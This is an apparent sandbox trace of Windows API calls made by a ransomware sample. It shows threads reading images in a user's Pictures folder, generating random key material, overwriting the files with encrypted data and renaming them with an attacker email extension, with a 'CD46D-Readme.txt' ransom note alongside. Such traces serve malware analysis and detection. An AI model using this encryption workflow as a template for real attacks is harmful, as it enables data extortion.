[0053.795] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a13a0) returned 1 [0053.795] NtQueryInformationFile (in: FileHandle=0xbc4, IoStatusBlock=0x10d8fd58, FileInformation=0x10d8fd30, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10d8fd58, FileInformation=0x10d8fd30) returned 0x0 [0053.795] NtSetInformationFile (FileHandle=0xbc4, IoStatusBlock=0x10d8fd58, FileInformation=0x10d8fd30, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.803] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d528) returned 1 [0053.803] FlushFileBuffers (hFile=0xbc4) returned 1 [0053.805] CloseHandle (hObject=0xbc4) returned 1 [0053.806] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e08c18 [0053.806] wcscpy (in: _Dest=0x12e08c18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0053.806] wcscat (in: _Dest=0x12e08c18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" [0053.806] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\cd46d-readme.txt")) returned 0x20 [0054.044] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08c18) returned 1 [0054.044] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400798) returned 1 Thread: id = 670 os_tid = 0xb80 [0050.922] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s dGf.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s dgf.png")) returned 0x20 [0050.922] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s dGf.png", dwFileAttributes=0x20) returned 1 [0050.922] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s dGf.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s dgf.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbc8 [0050.922] GetFileSizeEx (in: hFile=0xbc8, lpFileSize=0x10a9fc0c | out: lpFileSize=0x10a9fc0c*=22234) returned 1 [0050.922] SetFilePointerEx (in: hFile=0xbc8, liDistanceToMove=0x56d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.922] ReadFile (in: hFile=0xbc8, lpBuffer=0x10a9fb90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10a9fb8c, lpOverlapped=0x0 | out: lpBuffer=0x10a9fb90*, lpNumberOfBytesRead=0x10a9fb8c*=0x4, lpOverlapped=0x0) returned 1 [0050.923] SetFilePointerEx (in: hFile=0xbc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460a38 [0050.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460ab0 [0050.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460ad8 [0050.923] NtQuerySystemTime (in: CurrentTime=0x10a9fb6c | out: CurrentTime=0x10a9fb6c*=132174898149108000) returned 0x0 [0050.923] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x4d2b2b28 [0050.923] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x2e75dca5 [0050.923] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x5737adc1 [0050.923] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x4bd593cd [0050.923] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x4d2cf0f8 [0050.923] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x714806a2 [0050.923] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x2afb9b4f [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x69a973d7 [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x18059d85 [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x5c375676 [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x3d8365fb [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x628ea33 [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x57a23c62 [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x6f1eecbd [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x514c4e68 [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x4b141f7a [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x4c1590ad [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x2822a26b [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x5f93f66 [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x209e1030 [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x66210144 [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x671d8dc2 [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x62ddde87 [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0xc81b6e [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x68b4da79 [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x63a8ab45 [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x42e2a6c9 [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x34053585 [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x1a5719d7 [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x1bcd9653 [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x3609723d [0050.924] RtlRandomEx (in: Seed=0x10a9fb78 | out: Seed=0x10a9fb78) returned 0x752c4c0d [0050.937] ReadFile (in: hFile=0xbc8, lpBuffer=0x12d54990, nNumberOfBytesToRead=0x56da, lpNumberOfBytesRead=0x10a9fb68, lpOverlapped=0x0 | out: lpBuffer=0x12d54990*, lpNumberOfBytesRead=0x10a9fb68*=0x56da, lpOverlapped=0x0) returned 1 [0050.937] SetFilePointerEx (in: hFile=0xbc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.937] WriteFile (in: hFile=0xbc8, lpBuffer=0x12d61198*, nNumberOfBytesToWrite=0x56da, lpNumberOfBytesWritten=0x10a9fb64, lpOverlapped=0x0 | out: lpBuffer=0x12d61198*, lpNumberOfBytesWritten=0x10a9fb64*=0x56da, lpOverlapped=0x0) returned 1 [0053.419] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf1e0 [0053.419] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf208 [0053.419] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf208) returned 1 [0053.419] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d61198) returned 1 [0053.419] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d54990) returned 1 [0053.419] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5148) returned 1 [0053.419] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bca0) returned 1 [0053.419] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f) returned 0x97cf208 [0053.419] SetFilePointerEx (in: hFile=0xbc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.419] WriteFile (in: hFile=0xbc8, lpBuffer=0x9721ed0*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x10a9fbcc, lpOverlapped=0x0 | out: lpBuffer=0x9721ed0*, lpNumberOfBytesWritten=0x10a9fbcc*=0x103, lpOverlapped=0x0) returned 1 [0053.604] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9721ed0) returned 1 [0053.604] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf230) returned 1 [0053.605] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf258) returned 1 [0053.605] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf208) returned 1 [0053.605] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf1e0) returned 1 [0053.605] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460ab0) returned 1 [0053.605] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460b00) returned 1 [0053.605] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460b28) returned 1 [0053.605] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45cbf0 [0053.605] wcscpy (in: _Dest=0x45cbf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s dGf.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s dGf.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s dGf.png" [0053.605] wcscat (in: _Dest=0x45cbf0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s dGf.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s dGf.png.mailto[2Hamlampampom@cock.li].cd46d" [0053.605] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s dGf.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x10a9fb84, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s dGf.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.605] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x12f4d5f0 [0053.798] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d5f0) returned 1 [0053.798] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a15c8) returned 1 [0053.798] NtQueryInformationFile (in: FileHandle=0xbc8, IoStatusBlock=0x10a9fb90, FileInformation=0x10a9fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10a9fb90, FileInformation=0x10a9fb68) returned 0x0 [0053.798] NtSetInformationFile (FileHandle=0xbc8, IoStatusBlock=0x10a9fb90, FileInformation=0x10a9fb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45cbf0) returned 1 [0053.806] FlushFileBuffers (hFile=0xbc8) returned 1 [0053.809] CloseHandle (hObject=0xbc8) returned 1 [0053.810] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e08c98 [0053.810] wcscpy (in: _Dest=0x12e08c98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0053.810] wcscat (in: _Dest=0x12e08c98, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" [0053.810] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\cd46d-readme.txt")) returned 0x20 [0054.045] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08c98) returned 1 [0054.045] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46fe8) returned 1 Thread: id = 671 os_tid = 0xb9c [0050.938] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wHK1.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\whk1.bmp")) returned 0x20 [0050.938] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wHK1.bmp", dwFileAttributes=0x20) returned 1 [0050.938] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wHK1.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\whk1.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbcc [0050.938] GetFileSizeEx (in: hFile=0xbcc, lpFileSize=0x10e8f758 | out: lpFileSize=0x10e8f758*=10337) returned 1 [0050.938] SetFilePointerEx (in: hFile=0xbcc, liDistanceToMove=0x285d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.939] ReadFile (in: hFile=0xbcc, lpBuffer=0x10e8f6dc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10e8f6d8, lpOverlapped=0x0 | out: lpBuffer=0x10e8f6dc*, lpNumberOfBytesRead=0x10e8f6d8*=0x4, lpOverlapped=0x0) returned 1 [0050.939] SetFilePointerEx (in: hFile=0xbcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460a38 [0050.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460ad8 [0050.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460b50 [0050.939] NtQuerySystemTime (in: CurrentTime=0x10e8f6b8 | out: CurrentTime=0x10e8f6b8*=132174898149264000) returned 0x0 [0050.939] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x2e3f14fc [0050.939] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x25e02ea2 [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x66ba3a21 [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0xed14022 [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x6de819e8 [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x4935ce29 [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x582e188f [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x579959e3 [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x127db886 [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x5a63a849 [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x26946f01 [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x21f03567 [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x7e9f22ad [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x2581ea67 [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x3032454e [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x26610f0b [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x4bc86c97 [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x5f643e87 [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x62873cd8 [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x5ac8209e [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x74039aad [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x4879b3ff [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x10025074 [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x4c170d5f [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x1b8e17f6 [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x4498191c [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x5697c0d3 [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x9d42ae [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x4167e830 [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x64934069 [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x6277ed1c [0050.940] RtlRandomEx (in: Seed=0x10e8f6c4 | out: Seed=0x10e8f6c4) returned 0x6fb23cde [0050.952] ReadFile (in: hFile=0xbcc, lpBuffer=0x12d6d9a0, nNumberOfBytesToRead=0x2861, lpNumberOfBytesRead=0x10e8f6b4, lpOverlapped=0x0 | out: lpBuffer=0x12d6d9a0*, lpNumberOfBytesRead=0x10e8f6b4*=0x2861, lpOverlapped=0x0) returned 1 [0050.953] SetFilePointerEx (in: hFile=0xbcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.953] WriteFile (in: hFile=0xbcc, lpBuffer=0x12d7a1a8*, nNumberOfBytesToWrite=0x2861, lpNumberOfBytesWritten=0x10e8f6b0, lpOverlapped=0x0 | out: lpBuffer=0x12d7a1a8*, lpNumberOfBytesWritten=0x10e8f6b0*=0x2861, lpOverlapped=0x0) returned 1 [0053.421] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf280 [0053.421] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf2a8 [0053.421] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf2a8) returned 1 [0053.421] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7a1a8) returned 1 [0053.428] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d6d9a0) returned 1 [0053.432] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed51c0) returned 1 [0053.432] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bce8) returned 1 [0053.432] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1d) returned 0x97cf2a8 [0053.432] SetFilePointerEx (in: hFile=0xbcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.432] WriteFile (in: hFile=0xbcc, lpBuffer=0x97cf9a8*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x10e8f718, lpOverlapped=0x0 | out: lpBuffer=0x97cf9a8*, lpNumberOfBytesWritten=0x10e8f718*=0x101, lpOverlapped=0x0) returned 1 [0053.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf9a8) returned 1 [0053.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf2d0) returned 1 [0053.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf2f8) returned 1 [0053.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf2a8) returned 1 [0053.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf280) returned 1 [0053.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460ad8) returned 1 [0053.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460b78) returned 1 [0053.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460ba0) returned 1 [0053.606] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x4435f0 [0053.606] wcscpy (in: _Dest=0x4435f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wHK1.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wHK1.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wHK1.bmp" [0053.606] wcscat (in: _Dest=0x4435f0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wHK1.bmp.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wHK1.bmp.mailto[2Hamlampampom@cock.li].cd46d" [0053.606] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wHK1.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x10e8f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wHK1.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.606] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4d6b8 [0053.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d6b8) returned 1 [0053.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a17f0) returned 1 [0053.804] NtQueryInformationFile (in: FileHandle=0xbcc, IoStatusBlock=0x10e8f6dc, FileInformation=0x10e8f6b4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10e8f6dc, FileInformation=0x10e8f6b4) returned 0x0 [0053.804] NtSetInformationFile (FileHandle=0xbcc, IoStatusBlock=0x10e8f6dc, FileInformation=0x10e8f6b4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.811] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4435f0) returned 1 [0053.811] FlushFileBuffers (hFile=0xbcc) returned 1 [0053.813] CloseHandle (hObject=0xbcc) returned 1 [0053.813] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e08d98 [0053.813] wcscpy (in: _Dest=0x12e08d98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0053.813] wcscat (in: _Dest=0x12e08d98, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" [0053.813] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\cd46d-readme.txt")) returned 0x20 [0054.048] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08d98) returned 1 [0054.048] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d0b0) returned 1 Thread: id = 672 os_tid = 0xba4 [0050.956] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x3L7dAtCYcnatbA.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x3l7datcycnatba.gif")) returned 0x20 [0050.957] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x3L7dAtCYcnatbA.gif", dwFileAttributes=0x20) returned 1 [0050.957] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x3L7dAtCYcnatbA.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x3l7datcycnatba.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbd0 [0050.957] GetFileSizeEx (in: hFile=0xbd0, lpFileSize=0x10f2fdac | out: lpFileSize=0x10f2fdac*=29399) returned 1 [0050.957] SetFilePointerEx (in: hFile=0xbd0, liDistanceToMove=0x72d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.957] ReadFile (in: hFile=0xbd0, lpBuffer=0x10f2fd30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10f2fd2c, lpOverlapped=0x0 | out: lpBuffer=0x10f2fd30*, lpNumberOfBytesRead=0x10f2fd2c*=0x4, lpOverlapped=0x0) returned 1 [0050.958] SetFilePointerEx (in: hFile=0xbd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.958] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460a38 [0050.958] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460b50 [0050.958] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460bc8 [0050.958] NtQuerySystemTime (in: CurrentTime=0x10f2fd0c | out: CurrentTime=0x10f2fd0c*=132174898149420000) returned 0x0 [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x3e749414 [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x6f12757 [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x5fba28eb [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x6fbb0963 [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x702d2f95 [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x19c0ceb2 [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 